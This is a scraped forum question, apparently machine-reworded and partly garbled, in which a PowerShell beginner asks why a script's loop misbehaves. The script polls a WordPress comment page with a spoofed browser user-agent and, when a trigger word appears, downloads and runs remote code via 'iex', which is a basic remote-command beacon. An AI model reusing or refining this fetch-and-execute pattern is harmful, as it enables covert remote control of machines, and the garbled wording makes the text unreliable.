Powershell | DownloadString | External website | Return -
Powershell | DownloadString | External website | Return -
i'm totally powershell newbie, please indulgent ;)
i'm trying write script machine check external website waiting word: "test" execute download. things goes this:
$word = 'test' $webclientobject = new-object net.webclient $comment = "http://mysite.wordpress.com/comment_section/" $webclientobject.headers.add("user-agent", "mozilla/5.0 (windows nt 6.2; win64; x64) applewebkit/537.36 (khtml, gecko) chrome/32.0.1667.0 safari/537.36)") while($true) { $commentresult = $webclientobject.downloadstring($comment) $found = $commentresult.contains($word) if ($found) { iex $webclientobject.downloadstring('http://a_server_that_is_accessible/tasks_to_do') #task_to_do , blabla commands homecoming } start-sleep -seconds 60 } i'm running powershell 2.0. windows7
what happened:
the download not executed on internet it not issue coming ips or pathswhat i've done next:
i straight write different commands in powershell prompt:--> while($true) initiate endless loop without exiting it.
to create trick need "double click homecoming on keyboard", loop's ending , "downloadstring" command executed.
still remember i'm more newbie, right? :(
i tried "break" "return" or "exit" bu impossible quit loop. i tried set many double carriage homecoming in script without success.would please indicates me way simple thing...? :)
thanks lot.
update little lines should utilize different persons in different places (that's 1 of reason of deported website), , not have possibility update remote machines newer version of powershell. if have microsoft powershell guru in contact, tremendous help. give thanks guys.
update #2 changing while for(;;) , changing return break not resolve issue.
powershell
Comments
Post a Comment